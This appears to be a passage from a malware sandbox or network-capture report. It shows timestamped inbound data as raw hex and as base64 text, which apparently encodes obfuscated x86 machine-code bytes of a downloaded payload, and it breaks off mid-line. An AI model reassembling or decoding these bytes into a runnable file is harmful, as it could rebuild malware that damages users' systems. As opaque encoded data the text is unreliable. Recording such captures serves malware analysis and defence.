Data Ascii: g4LGA5NCxgMDAsYDAwLGAwMCxgMDUsYEI4LGAwNCxgMDAsYDAwLGA1MCxgOEQsYDQ1LG
AwOCxgNkEsYDA0LGA1MCxgODksYDU1LGAwOCxgRTgsYDBDLGA1RSxgRkYsYEZGLGA4QixgNDUsYDA4LG
A4MyxgQzQsYDBDLGA1RCxgQzMsYDZCLGAyOSxgMkMsYDIyLGA1NSxgOEIsYEVDLGA4MSxgRUMsYDA0LG
AwMSxgMDAsYDAwLGA1NixgNTcsY

2021-12-02 20:47:22 UTC 1343 IN Data Raw: 41 77 4c 47 41 31 4d 69 78 67 4f 45 51 73 59 44 51 31 4c 47 42 47 51 79 78 67 4e 6b 45 73 59 44 41 30 4c 47 
41 31 4d 43 78 67 4f 44 6b 73 59 44 52 45 4c 47 42 47 51 79 78 67 52 54 67 73 59 44 45 31 4c 47 41 31 4f 43 78 67 52 
6b 59 73 59 45 5a 47 4c 47 41 34 51 69 78 67 4e 45 51 73 59 45 5a 44 4c 47 41 31 4e 79 78 67 4e 6b 45 73 59 44 41 31 
4c 47 41 32 51 53 78 67 4e 7a 63 73 59 44 55 78 4c 47 42 46 4f 43 78 67 51 54 63 73 59 44 63 30 4c 47 41 77 4d 43 78 6
7 4d 44 41 73 59 44 67 7a 4c 47 42 44 4e 43 78 67 4d 55 4d 73 59 44 55 33 4c 47 41 31 4e 69 78 67 4f 44 55 73 59 45 4d 
77 4c 47 41 33 4e 43 78 67 4d 54 4d 73 59 45 55 34 4c 47 42 44 4f 53 78 67 4e 6a 6b 73 59 44 41 77 4c 47 41 77 4d 43 
78 67 4f 44 4d 73 59 45 4d 30 4c 47 41 77 4f 43 78 67 4e 55 59 73 59 
Data Ascii: AwLGA1MixgOEQsYDQ1LGBGQyxgNkEsYDA0LGA1MCxgODksYDRELGBGQyxgRTgsYDE1LG
A1OCxgRkYsYEZGLGA4QixgNEQsYEZDLGA1NyxgNkEsYDA1LGA2QSxgNzcsYDUxLGBFOCxgQTcsYDc0LG
AwMCxgMDAsYDgzLGBDNCxgMUMsYDU3LGA1NixgODUsYEMwLGA3NCxgMTMsYEU4LGBDOSxgNjksYDAwLG
AwMCxgODMsYEM0LGAwOCxgNUYsY

2021-12-02 20:47:22 UTC 1359 IN Data Raw: 63 31 4c 47 41 78 51 79 78 67 4f 45 49 73 59 44 52 46 4c 47 41 77 4f 43 78 67 4e 6a 67 73 59 44 55 79 4c 47 
41 78 4d 69 78 67 4d 6a 51 73 59 45 51 77 4c 47 41 32 51 53 78 67 4d 44 41 73 59 44 5a 42 4c 47 41 77 4d 43 78 67 4e 
54 45 73 59 44 67 7a 4c 47 42 44 4e 79 78 67 4d 55 4d 73 59 44 55 33 4c 47 42 46 4f 43 78 67 4e 6b 51 73 59 45 56 46 
4c 47 42 47 52 69 78 67 52 6b 59 73 59 44 67 7a 4c 47 42 44 4e 43 78 67 4d 54 51 73 59 44 67 35 4c 47 41 30 4e 69 78 
67 4e 44 51 73 59 44 56 47 4c 47 41 31 52 53 78 67 4f 45 49 73 59 45 55 31 4c 47 41 31 52 43 78 67 51 7a 4d 73 59 45 
4e 44 4c 47 41 31 4e 53 78 67 4f 45 49 73 59 45 56 44 4c 47 41 34 4d 79 78 67 52 55 4d 73 59 44 41 34 4c 47 41 31 4d 
79 78 67 4f 45 49 73 59 44 56 45 4c 47 41 77 4f 43 78 67 4e 54 59 73 59 
Data Ascii: c1LGAxQyxgOEIsYDRFLGAwOCxgNjgsYDUyLGAxMixgMjQsYEQwLGA2QSxgMDAsYDZBLGAwMCxgNTEs
YDgzLGBDNyxgMUMsYDU3LGBFOCxgNkQsYEVFLGBGRixgRkYsYDgzLGBDNCxgMTQsYDg5LGA0NixgNDQs
YDVGLGA1RSxgOEIsYEU1LGA1RCxgQzMsYENDLGA1NSxgOEIsYEVDLGA4MyxgRUMsYDA4LGA1MyxgOEIs
YDVELGAwOCxgNTYsY

2021-12-02 20:47:22 UTC 1375 IN Data Raw: 56 43 4c 47 41 7a 52 69 78 67 52 6a 49 73 59 44 45 34 4c 47 42 44 4d 43 78 67 4e 45 4d 73 59 45 46 45 4c 47 
42 47 4d 79 78 67 4f 44 4d 73 59 45 49 78 4c 47 41 32 4e 53 78 67 4d 54 49 73 59 44 45 31 4c 47 41 30 52 43 78 67 4d 
44 51 73 59 44 52 44 4c 47 42 45 51 69 78 67 4e 54 67 73 59 44 68 43 4c 47 41 34 4d 53 78 67 4d 7a 55 73 59 44 63 32 
4c 47 41 34 52 53 78 67 4e 54 49 73 59 45 55 77 4c 47 42 47 4d 53 78 67 4d 45 49 73 59 45 51 35 4c 47 41 34 4e 79 78 
67 4e 6a 67 73 59 45 5a 44 4c 47 41 7a 4d 79 78 67 4e 30 4d 73 59 45 52 46 4c 47 42 46 4f 43 78 67 4d 6b 51 73 59 44 
4a 46 4c 47 42 47 4e 43 78 67 4d 30 4d 73 59 44 4a 47 4c 47 41 78 4d 79 78 67 4d 6a 67 73 59 45 45 34 4c 47 42 46 4f 
53 78 67 4e 55 45 73 59 44 64 47 4c 47 41 31 4e 43 78 67 51 55 55 73 59 
Data Ascii: VCLGAzRixgRjIsYDE4LGBDMCxgNEMsYEFELGBGMyxgODMsYEIxLGA2NSxgMTIsYDE1LGA0RCxgMDQs
YDRDLGBEQixgNTgsYDhCLGA4MSxgMzUsYDc2LGA4RSxgNTIsYEUwLGBGMSxgMEIsYEQ5LGA4NyxgNjgs
YEZDLGAzMyxgN0MsYERFLGBFOCxgMkQsYDJFLGBGNCxgM0MsYDJGLGAxMyxgMjgsYEE4LGBFOSxgNUEs
YDdGLGA1NCxgQUUsY

2021-12-02 20:47:22 UTC 1391 IN Data Raw: 51 31 4c 47 41 33 4f 53 78 67 51 6b 55 73 59 44 4e 43 4c 47 41 33 4d 43 78 67 52 6a 55 73 59 44 49 31 4c 47 
41 33 4e 69 78 67 4d 6b 55 73 59 44 67 35 4c 47 42 44 4d 79 78 67 4d 54 49 73 59 44 59 34 4c 47 41 35 52 69 78 67 51 
55 49 73 59 44 68 44 4c 47 41 79 4d 53 78 67 4f 44 55 73 59 44 41 78 4c 47 41 34 4d 43 78 67 51 54 51 73 59 45 56 47 
4c 47 41 35 4f 53 78 67 4d 7a 41 73 59 45 4d 7a 4c 47 41 35 51 79 78 67 51 54 49 73 59 44 55 33 4c 47 41 34 51 79 78 6
7 4e 6a 4d 73 59 44 46 44 4c 47 41 32 52 53 78 67 4e 6a 4d 73 59 45 45 30 4c 47 41 31 4e 43 78 67 52 55 51 73 59 44 56 
46 4c 47 42 45 4d 79 78 67 51 55 59 73 59 44 67 35 4c 47 42 44 4e 53 78 67 51 7a 41 73 59 44 45 78 4c 47 42 43 4d 69 
78 67 4e 6b 49 73 59 44 63 31 4c 47 41 30 4e 79 78 67 4d 55 4d 73 59 
Data Ascii: Q1LGA3OSxgQkUsYDNCLGA3MCxgRjUsYDI1LGA3NixgMkUsYDg5LGBDMyxgMTIsYDY4LGA5RixgQUIs
YDhDLGAyMSxgODUsYDAxLGA4MCxgQTQsYEVGLGA5OSxgMzAsYEMzLGA5QyxgQTIsYDU3LGA4QyxgNjMs
YDFDLGA2RSxgNjMsYEE0LGA1NCxgRUQsYDVFLGBEMyxgQUYsYDg5LGBDNSxgQzAsYDExLGBCMixgNkIs
YDc1LGA0NyxgMUMsY

2021-12-02 20:47:22 UTC 1407 IN Data Raw: 5a 47 4c 47 41 31 4d 79 78 67 4e 54 45 73 59 44 67 34 4c 47 41 31 52 43 78 67 52 45 4d 73 59 44 67 35 4c 47 
41 30 4e 53 78 67 52 44 67 73 59 44 59 32 4c 47 42 44 4e 79 78 67 4e 44 55 73 59 44 41 34 4c 47 41 77 52 43 78 67 4d 
45 45 73 59 44 67 34 4c 47 41 31 52 43 78 67 4d 45 45 73 59 45 4d 33 4c 47 41 30 4e 53 78 67 52 6a 41 73 59 44 55 77 
4c 47 41 32 52 69 78 67 4e 7a 49 73 59 44 63 30 4c 47 41 32 4e 69 78 67 51 7a 63 73 59 44 51 31 4c 47 42 47 4e 43 78 
67 4d 30 45 73 59 44 41 35 4c 47 41 34 4f 43 78 67 4e 55 51 73 59 45 59 32 4c 47 42 44 4e 79 78 67 4e 44 55 73 59 45 
59 34 4c 47 41 31 4e 53 78 67 4e 7a 4d 73 59 44 59 31 4c 47 41 33 4d 69 78 67 51 7a 63 73 59 44 51 31 4c 47 42 47 51 
79 78 67 4d 6a 41 73 59 44 4e 42 4c 47 41 77 4f 53 78 67 4d 44 41 73 59 
Data Ascii: ZGLGA1MyxgNTEsYDg4LGA1RCxgREMsYDg5LGA0NSxgRDgsYDY2LGBDNyxgNDUsYDA4LG
AwRCxgMEEsYDg4LGA1RCxgMEEsYEM3LGA0NSxgRjAsYDUwLGA2RixgNzIsYDc0LGA2NixgQzcsYDQ1LG
BGNCxgM0EsYDA5LGA4OCxgNUQsYEY2LGBDNyxgNDUsYEY4LGA1NSxgNzMsYDY1LGA3MixgQzcsYDQ1LG
BGQyxgMjAsYDNBLGAwOSxgMDAsY

2021-12-02 20:47:22 UTC 1423 IN Data Raw: 41 77 4c 47 41 34 51 69 78 67 52 44 67 73 59 44 67 7a 4c 47 42 44 4e 43 78 67 4d 7a 41 73 59 44 67 31 4c 47 
42 45 51 69 78 67 4d 45 59 73 59 44 67 30 4c 47 41 35 4e 69 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4e 
6b 45 73 59 44 41 78 4c 47 41 32 51 53 78 67 4d 44 41 73 59 44 68 45 4c 47 41 31 4e 53 78 67 51 7a 41 73 59 44 55 79 
4c 47 41 32 51 53 78 67 4d 44 41 73 59 44 5a 42 4c 47 41 77 4d 43 78 67 4f 45 51 73 59 44 67 33 4c 47 41 33 4d 43 78 6
7 4d 30 4d 73 59 44 52 47 4c 47 41 77 4d 43 78 67 4e 54 41 73 59 44 68 45 4c 47 41 30 52 43 78 67 52 6a 51 73 59 44 55 
78 4c 47 41 31 4d 79 78 67 4e 54 59 73 59 45 55 34 4c 47 41 33 4f 53 78 67 4d 55 45 73 59 44 41 77 4c 47 41 77 4d 43 
78 67 4f 44 4d 73 59 45 4d 30 4c 47 41 79 4e 43 78 67 4f 44 6b 73 59 
Data Ascii: AwLGA4QixgRDgsYDgzLGBDNCxgMzAsYDg1LGBEQixgMEYsYDg0LGA5NixgMDAsYDAwLGAwMCxgNkEs
YDAxLGA2QSxgMDAsYDhELGA1NSxgQzAsYDUyLGA2QSxgMDAsYDZBLGAwMCxgOEQsYDg3LGA3MCxgM0Ms
YDRGLGAwMCxgNTAsYDhELGA0RCxgRjQsYDUxLGA1MyxgNTYsYEU4LGA3OSxgMUEsYDAwLGAwMCxgODMs
YEM0LGAyNCxgODksY
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2021-12-02 20:47:22 UTC 1439 IN Data Raw: 45 30 4c 47 41 34 4e 53 78 67 51 7a 41 73 59 44 63 31 4c 47 41 78 4e 43 78 67 4f 45 49 73 59 44 52 45 4c 47 
42 47 51 79 78 67 4e 54 45 73 59 44 55 7a 4c 47 42 46 4f 43 78 67 52 54 59 73 59 44 49 78 4c 47 41 77 4d 43 78 67 4d 
44 41 73 59 44 67 7a 4c 47 42 44 4e 43 78 67 4d 44 67 73 59 44 56 47 4c 47 41 31 52 53 78 67 4e 55 49 73 59 44 68 43 
4c 47 42 46 4e 53 78 67 4e 55 51 73 59 45 4d 7a 4c 47 41 32 51 53 78 67 4d 44 51 73 59 44 68 45 4c 47 41 30 4e 53 78 
67 52 45 4d 73 59 44 55 77 4c 47 41 34 52 43 78 67 4e 45 59 73 59 44 41 78 4c 47 41 34 52 43 78 67 4e 54 63 73 59 44 
45 79 4c 47 41 31 4d 53 78 67 51 7a 63 73 59 44 51 31 4c 47 42 45 51 79 78 67 4d 6a 4d 73 59 44 41 77 4c 47 41 77 4d 
43 78 67 4d 44 41 73 59 44 67 35 4c 47 41 31 4e 53 78 67 52 44 67 73 59 
Data Ascii: E0LGA4NSxgQzAsYDc1LGAxNCxgOEIsYDRELGBGQyxgNTEsYDUzLGBFOCxgRTYsYDIxLGAwMCxgMDAs
YDgzLGBDNCxgMDgsYDVGLGA1RSxgNUIsYDhCLGBFNSxgNUQsYEMzLGA2QSxgMDQsYDhELGA0NSxgREMs
YDUwLGA4RCxgNEYsYDAxLGA4RCxgNTcsYDEyLGA1MSxgQzcsYDQ1LGBEQyxgMjMsYDAwLGAwMCxgMDAs
YDg5LGA1NSxgRDgsY

2021-12-02 20:47:22 UTC 1455 IN Data Raw: 51 35 4c 47 42 47 4f 43 78 67 4e 54 67 73 59 44 4d 78 4c 47 41 79 51 53 78 67 4e 54 55 73 59 44 68 43 4c 47 
42 46 51 79 78 67 4f 45 49 73 59 44 51 31 4c 47 41 77 4f 43 78 67 4f 45 49 73 59 44 67 34 4c 47 41 78 4f 43 78 67 4d 45 
45 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4e 54 59 73 59 44 5a 42 4c 47 41 30 4e 69 78 67 4e 6b 45 73 59 44 41 77 4c 
47 41 31 4d 53 78 67 4f 45 51 73 59 45 49 77 4c 47 41 34 51 79 78 67 4d 45 4d 73 59 44 41 77 4c 47 41 77 4d 43 78 67 
4e 54 59 73 59 44 55 77 4c 47 42 46 4f 43 78 67 4e 7a 45 73 59 44 41 33 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 68 4
3 4c 47 41 31 4e 53 78 67 4d 54 51 73 59 44 68 43 4c 47 41 30 4e 53 78 67 4d 54 41 73 59 44 68 43 4c 47 41 30 52 43 78 
67 4d 45 4d 73 59 44 67 7a 4c 47 42 44 4e 43 78 67 4d 54 51 73 59 
Data Ascii: Q5LGBGOCxgNTgsYDMxLGAyQSxgNTUsYDhCLGBFQyxgOEIsYDQ1LGAwOCxgOEIsYDg4LG
AxOCxgMEEsYDAwLGAwMCxgNTYsYDZBLGA0NixgNkEsYDAwLGA1MSxgOEQsYEIwLGA4QyxgMEMsYDAwLG
AwMCxgNTYsYDUwLGBFOCxgNzEsYDA3LGAwMCxgMDAsYDhCLGA1NSxgMTQsYDhCLGA0NSxgMTAsYDhCLG
A0RCxgMEMsYDgzLGBDNCxgMTQsY

2021-12-02 20:47:22 UTC 1471 IN Data Raw: 68 43 4c 47 42 46 4e 53 78 67 4e 55 51 73 59 45 4d 7a 4c 47 42 44 51 79 78 67 4e 54 55 73 59 44 68 43 4c 47 
42 46 51 79 78 67 4e 54 45 73 59 44 59 30 4c 47 42 42 4d 53 78 67 4d 54 67 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 
44 41 73 59 44 67 35 4c 47 41 30 4e 53 78 67 52 6b 4d 73 59 44 68 43 4c 47 41 30 4e 53 78 67 52 6b 4d 73 59 44 68 43 
4c 47 41 34 4d 43 78 67 51 7a 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 68 43 4c 47 42 46 4e 53 78 
67 4e 55 51 73 59 45 4d 7a 4c 47 41 79 4d 43 78 67 4d 44 63 73 59 44 41 33 4c 47 42 45 51 53 78 67 4d 55 49 73 59 44 
6c 45 4c 47 41 31 4e 53 78 67 4f 45 49 73 59 45 56 44 4c 47 41 31 4d 53 78 67 4e 6a 51 73 59 45 45 78 4c 47 41 78 4f 43 
78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4f 45 49 73 59 
Data Ascii: hCLGBFNSxgNUQsYEMzLGBDQyxgNTUsYDhCLGBFQyxgNTEsYDY0LGBBMSxgMTgsYDAwLG
AwMCxgMDAsYDg5LGA0NSxgRkMsYDhCLGA0NSxgRkMsYDhCLGA4MCxgQzAsYDAwLGAwMCxgMDAsYDhCLG
BFNSxgNUQsYEMzLGAyMCxgMDcsYDA3LGBEQSxgMUIsYDlELGA1NSxgOEIsYEVDLGA1MSxgNjQsYEExLG
AxOCxgMDAsYDAwLGAwMCxgOEIsY

2021-12-02 20:47:22 UTC 1487 IN Data Raw: 46 46 4c 47 42 44 51 53 78 67 52 44 45 73 59 44 55 35 4c 47 42 45 4e 69 78 67 4e 54 55 73 59 44 68 43 4c 47 
42 46 51 79 78 67 4f 45 49 73 59 44 51 31 4c 47 41 77 4f 43 78 67 4f 45 49 73 59 44 51 34 4c 47 41 77 4f 43 78 67 4e 54 
59 73 59 44 55 33 4c 47 41 34 51 69 78 67 4e 30 51 73 59 44 42 44 4c 47 41 77 4d 79 78 67 52 6b 59 73 59 44 55 33 4c 
47 41 32 51 53 78 67 4d 44 41 73 59 44 55 78 4c 47 41 31 4d 43 78 67 52 54 67 73 59 44 51 32 4c 47 42 46 4e 69 78 67 
52 6b 59 73 59 45 5a 47 4c 47 41 34 51 69 78 67 52 6a 41 73 59 44 67 7a 4c 47 42 44 4e 43 78 67 4d 54 41 73 59 44 67 3
1 4c 47 42 47 4e 69 78 67 4e 7a 51 73 59 44 45 79 4c 47 41 34 4e 53 78 67 52 6b 59 73 59 44 63 30 4c 47 41 77 52 53 78 
67 4e 54 63 73 59 44 5a 42 4c 47 41 77 4d 43 78 67 4e 54 59 73 59 
Data Ascii: FFLGBDQSxgRDEsYDU5LGBENixgNTUsYDhCLGBFQyxgOEIsYDQ1LGAwOCxgOEIsYDQ4LG
AwOCxgNTYsYDU3LGA4QixgN0QsYDBDLGAwMyxgRkYsYDU3LGA2QSxgMDAsYDUxLGA1MCxgRTgsYDQ2LG
BFNixgRkYsYEZGLGA4QixgRjAsYDgzLGBDNCxgMTAsYDg1LGBGNixgNzQsYDEyLGA4NSxgRkYsYDc0LG
AwRSxgNTcsYDZBLGAwMCxgNTYsY

2021-12-02 20:47:22 UTC 1503 IN Data Raw: 59 32 4c 47 41 34 52 43 78 67 4e 7a 41 73 59 44 41 78 4c 47 41 77 52 69 78 67 51 6a 59 73 59 44 41 77 4c 47 
41 34 52 43 78 67 4e 54 55 73 59 45 55 77 4c 47 41 31 4d 69 78 67 4e 54 41 73 59 44 55 32 4c 47 42 46 4f 43 78 67 4d 
54 4d 73 59 45 55 77 4c 47 42 47 52 53 78 67 52 6b 59 73 59 44 4d 7a 4c 47 42 44 4d 43 78 67 4f 44 4d 73 59 45 4d 30 
4c 47 41 77 51 79 78 67 4d 7a 67 73 59 44 41 32 4c 47 41 33 4e 43 78 67 4d 44 63 73 59 44 51 77 4c 47 41 34 4d 43 78 
67 4d 30 4d 73 59 44 41 32 4c 47 41 77 4d 43 78 67 4e 7a 55 73 59 45 59 35 4c 47 41 34 51 69 78 67 4e 55 51 73 59 44 
41 34 4c 47 41 30 4d 43 78 67 4e 54 41 73 59 44 55 32 4c 47 41 31 4d 79 78 67 52 54 67 73 59 45 55 33 4c 47 42 47 4d 
53 78 67 52 6b 59 73 59 45 5a 47 4c 47 41 34 4d 79 78 67 51 7a 51 73 59 
Data Ascii: Y2LGA4RCxgNzAsYDAxLGAwRixgQjYsYDAwLGA4RCxgNTUsYEUwLGA1MixgNTAsYDU2LGBFOCxgMTMs
YEUwLGBGRSxgRkYsYDMzLGBDMCxgODMsYEM0LGAwQyxgMzgsYDA2LGA3NCxgMDcsYDQwLGA4MCxgM0Ms
YDA2LGAwMCxgNzUsYEY5LGA4QixgNUQsYDA4LGA0MCxgNTAsYDU2LGA1MyxgRTgsYEU3LGBGMSxgRkYs
YEZGLGA4MyxgQzQsY

2021-12-02 20:47:22 UTC 1519 IN Data Raw: 49 31 4c 47 42 47 4e 53 78 67 4e 6a 63 73 59 45 5a 43 4c 47 41 31 51 53 78 67 4d 55 45 73 59 44 4d 31 4c 47 
42 47 4d 69 78 67 51 6a 59 73 59 45 56 47 4c 47 42 44 51 53 78 67 51 7a 45 73 59 44 46 45 4c 47 42 43 4f 53 78 67 51 
54 6b 73 59 45 4d 78 4c 47 42 44 52 53 78 67 52 44 41 73 59 44 45 7a 4c 47 41 7a 4e 53 78 67 4d 6b 49 73 59 45 45 77 
4c 47 41 35 4e 79 78 67 52 54 45 73 59 44 42 47 4c 47 41 34 4d 43 78 67 51 6b 51 73 59 45 5a 45 4c 47 42 47 52 69 78 
67 52 6b 59 73 59 44 67 78 4c 47 42 45 52 43 78 67 4e 7a 41 73 59 45 45 35 4c 47 42 42 51 79 78 67 52 54 51 73 59 44 
52 44 4c 47 41 34 4d 53 78 67 52 6b 4d 73 59 44 42 47 4c 47 41 77 4f 53 78 67 4f 44 51 73 59 44 41 33 4c 47 41 34 52 43 
78 67 4d 45 51 73 59 45 56 42 4c 47 41 35 4f 53 78 67 52 44 59 73 59 
Data Ascii: I1LGBGNSxgNjcsYEZCLGA1QSxgMUEsYDM1LGBGMixgQjYsYEVGLGBDQSxgQzEsYDFELGBCOSxgQTks
YEMxLGBDRSxgRDAsYDEzLGAzNSxgMkIsYEEwLGA5NyxgRTEsYDBGLGA4MCxgQkQsYEZELGBGRixgRkYs
YDgxLGBERCxgNzAsYEE5LGBBQyxgRTQsYDRDLGA4MSxgRkMsYDBGLGAwOSxgODQsYDA3LGA4RCxgMEQs
YEVBLGA5OSxgRDYsY

2021-12-02 20:47:22 UTC 1535 IN Data Raw: 6b 77 4c 47 41 30 4e 79 78 67 4f 44 55 73 59 44 46 45 4c 47 42 42 4f 53 78 67 4d 44 4d 73 59 44 49 31 4c 47 
41 33 4d 69 78 67 51 54 59 73 59 44 51 79 4c 47 42 44 4d 43 78 67 4d 45 51 73 59 44 67 32 4c 47 41 78 4e 69 78 67 51 
54 4d 73 59 44 45 77 4c 47 42 47 52 43 78 67 4d 45 49 73 59 44 4e 45 4c 47 41 77 4e 79 78 67 4d 45 51 73 59 45 49 35 
4c 47 41 77 4e 69 78 67 4f 44 41 73 59 45 52 45 4c 47 41 79 4e 43 78 67 51 7a 45 73 59 44 42 45 4c 47 41 32 52 43 78 6
7 51 6a 4d 73 59 44 67 30 4c 47 41 30 4d 69 78 67 4f 45 51 73 59 44 67 77 4c 47 42 44 4e 43 78 67 4d 6a 49 73 59 44 55 
32 4c 47 41 30 4e 69 78 67 4d 45 45 73 59 44 4d 31 4c 47 42 45 4e 79 78 67 4e 54 4d 73 59 44 4e 44 4c 47 42 46 4f 53 
78 67 4e 6a 67 73 59 44 41 35 4c 47 42 42 4e 69 78 67 4e 7a 49 73 59 
Data Ascii: kwLGA0NyxgODUsYDFELGBBOSxgMDMsYDI1LGA3MixgQTYsYDQyLGBDMCxgMEQsYDg2LG
AxNixgQTMsYDEwLGBGRCxgMEIsYDNELGAwNyxgMEQsYEI5LGAwNixgODAsYERELGAyNCxgQzEsYDBELG
A2RCxgQjMsYDg0LGA0MixgOEQsYDgwLGBDNCxgMjIsYDU2LGA0NixgMEEsYDM1LGBENyxgNTMsYDNDLG
BFOSxgNjgsYDA5LGBBNixgNzIsY
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2021-12-02 20:47:22 UTC 1551 IN Data Raw: 49 31 4c 47 41 32 4d 43 78 67 4e 55 55 73 59 44 6b 7a 4c 47 41 33 52 43 78 67 51 30 45 73 59 44 49 34 4c 47 
41 77 4d 43 78 67 4d 44 41 73 59 44 49 34 4c 47 41 77 4e 53 78 67 52 44 63 73 59 45 4a 46 4c 47 41 30 52 53 78 67 4e 
44 6b 73 59 44 55 32 4c 47 41 30 52 69 78 67 4d 45 59 73 59 44 67 79 4c 47 41 34 4e 53 78 67 52 6b 49 73 59 45 5a 47 
4c 47 42 47 52 69 78 67 51 7a 45 73 59 44 49 31 4c 47 41 33 4d 69 78 67 4d 6a 4d 73 59 44 4d 7a 4c 47 41 32 4f 43 78 6
7 4e 7a 67 73 59 45 46 44 4c 47 41 79 4d 79 78 67 4d 44 55 73 59 45 4a 42 4c 47 41 7a 52 43 78 67 4d 54 4d 73 59 45 55 
35 4c 47 41 79 4f 53 78 67 4d 6b 51 73 59 45 4a 44 4c 47 41 79 4e 69 78 67 52 6a 51 73 59 44 68 47 4c 47 41 7a 4d 79 
78 67 4d 45 51 73 59 45 4a 44 4c 47 41 7a 4f 53 78 67 4f 44 49 73 59 
Data Ascii: I1LGA2MCxgNUUsYDkzLGA3RCxgQ0EsYDI4LGAwMCxgMDAsYDI4LGAwNSxgRDcsYEJFLGA0RSxgNDks
YDU2LGA0RixgMEYsYDgyLGA4NSxgRkIsYEZGLGBGRixgQzEsYDI1LGA3MixgMjMsYDMzLGA2OCxgNzgs
YEFDLGAyMyxgMDUsYEJBLGAzRCxgMTMsYEU5LGAyOSxgMkQsYEJDLGAyNixgRjQsYDhGLGAzMyxgMEQs
YEJDLGAzOSxgODIsY

2021-12-02 20:47:22 UTC 1567 IN Data Raw: 52 44 4c 47 42 45 4d 53 78 67 4e 45 49 73 59 44 6c 44 4c 47 42 42 4f 43 78 67 4f 54 41 73 59 44 45 77 4c 47 
42 42 4e 53 78 67 4d 55 45 73 59 45 51 35 4c 47 42 45 4d 53 78 67 51 6b 4d 73 59 44 4d 77 4c 47 42 45 4d 69 78 67 51 
7a 67 73 59 44 51 34 4c 47 41 35 4d 43 78 67 4d 45 49 73 59 44 45 79 4c 47 42 45 4d 69 78 67 52 44 55 73 59 44 41 78 
4c 47 42 46 51 53 78 67 51 54 51 73 59 44 49 78 4c 47 42 44 51 79 78 67 52 44 6b 73 59 44 52 46 4c 47 41 34 4e 69 78 
67 4d 6a 67 73 59 44 52 43 4c 47 42 45 51 69 78 67 52 55 45 73 59 44 41 35 4c 47 42 45 52 69 78 67 52 6b 4d 73 59 44 
64 45 4c 47 41 7a 51 79 78 67 51 30 55 73 59 45 4d 33 4c 47 41 79 51 79 78 67 4f 54 63 73 59 44 4e 45 4c 47 41 35 51 
53 78 67 52 44 67 73 59 45 45 34 4c 47 42 43 4d 69 78 67 52 55 45 73 59 
Data Ascii: RDLGBEMSxgNEIsYDlDLGBBOCxgOTAsYDEwLGBBNSxgMUEsYEQ5LGBEMSxgQkMsYDMwLG
BEMixgQzgsYDQ4LGA5MCxgMEIsYDEyLGBEMixgRDUsYDAxLGBFQSxgQTQsYDIxLGBDQyxgRDksYDRFLG
A4NixgMjgsYDRCLGBEQixgRUEsYDA5LGBERixgRkMsYDdELGAzQyxgQ0UsYEM3LGAyQyxgOTcsYDNELG
A5QSxgRDgsYEE4LGBCMixgRUEsY

2021-12-02 20:47:22 UTC 1583 IN Data Raw: 6c 47 4c 47 41 35 4e 43 78 67 4d 30 51 73 59 44 59 77 4c 47 41 33 51 53 78 67 51 7a 49 73 59 44 63 35 4c 47 
41 7a 51 53 78 67 4e 44 49 73 59 44 6b 78 4c 47 42 42 4e 43 78 67 4e 45 51 73 59 45 4e 44 4c 47 41 32 4f 43 78 67 51 
30 4d 73 59 45 5a 42 4c 47 41 79 52 53 78 67 4d 6b 55 73 59 45 4d 34 4c 47 42 43 51 53 78 67 4f 44 6b 73 59 44 67 77 
4c 47 42 42 51 69 78 67 4e 55 59 73 59 45 52 43 4c 47 42 44 52 53 78 67 4d 6a 49 73 59 44 4a 43 4c 47 41 34 52 69 78 
67 4d 30 49 73 59 44 51 33 4c 47 41 78 4e 43 78 67 4e 30 51 73 59 44 56 43 4c 47 41 35 4f 53 78 67 51 6b 45 73 59 45 
4e 45 4c 47 41 7a 4d 53 78 67 4d 44 55 73 59 45 55 34 4c 47 41 7a 51 79 78 67 51 6b 51 73 59 44 6b 35 4c 47 41 33 51 
79 78 67 51 55 51 73 59 44 46 44 4c 47 42 42 4f 43 78 67 4d 55 4d 73 59 
Data Ascii: lGLGA5NCxgM0QsYDYwLGA3QSxgQzIsYDc5LGAzQSxgNDIsYDkxLGBBNCxgNEQsYENDLGA2OCxgQ0Ms
YEZBLGAyRSxgMkUsYEM4LGBCQSxgODksYDgwLGBBQixgNUYsYERCLGBDRSxgMjIsYDJCLGA4RixgM0Is
YDQ3LGAxNCxgN0QsYDVCLGA5OSxgQkEsYENELGAzMSxgMDUsYEU4LGAzQyxgQkQsYDk5LGA3QyxgQUQs
YDFDLGBBOCxgMUMsY

2021-12-02 20:47:22 UTC 1599 IN Data Raw: 6b 32 4c 47 41 30 52 53 78 67 4d 54 45 73 59 45 52 46 4c 47 42 47 52 69 78 67 4e 55 45 73 59 44 42 42 4c 47 
41 30 51 69 78 67 51 30 59 73 59 45 51 30 4c 47 41 77 52 53 78 67 4d 7a 4d 73 59 45 4d 78 4c 47 41 34 51 69 78 67 4d 
6a 67 73 59 44 51 32 4c 47 41 77 4d 53 78 67 4d 55 51 73 59 45 49 77 4c 47 42 47 4f 43 78 67 4e 54 41 73 59 44 51 30 
4c 47 42 45 4e 43 78 67 4f 55 59 73 59 44 6c 46 4c 47 41 77 52 69 78 67 51 7a 45 73 59 45 4d 79 4c 47 42 47 4e 69 78 6
7 51 54 59 73 59 44 51 7a 4c 47 42 46 4f 43 78 67 51 6b 55 73 59 45 4e 42 4c 47 42 45 4d 79 78 67 51 30 51 73 59 45 5a 
47 4c 47 42 45 4d 69 78 67 4f 54 49 73 59 45 4d 79 4c 47 41 30 4d 79 78 67 4e 54 49 73 59 45 55 35 4c 47 42 44 52 53 
78 67 52 6a 67 73 59 45 59 35 4c 47 41 7a 52 69 78 67 4d 45 49 73 59 
Data Ascii: k2LGA0RSxgMTEsYERFLGBGRixgNUEsYDBBLGA0QixgQ0YsYEQ0LGAwRSxgMzMsYEMxLGA4QixgMjgs
YDQ2LGAwMSxgMUQsYEIwLGBGOCxgNTAsYDQ0LGBENCxgOUYsYDlFLGAwRixgQzEsYEMyLGBGNixgQTYs
YDQzLGBFOCxgQkUsYENBLGBEMyxgQ0QsYEZGLGBEMixgOTIsYEMyLGA0MyxgNTIsYEU5LGBDRSxgRjgs
YEY5LGAzRixgMEIsY

2021-12-02 20:47:22 UTC 1615 IN Data Raw: 41 33 4c 47 42 45 51 53 78 67 52 54 51 73 59 45 56 42 4c 47 42 47 4e 69 78 67 51 6a 67 73 59 44 68 42 4c 47 
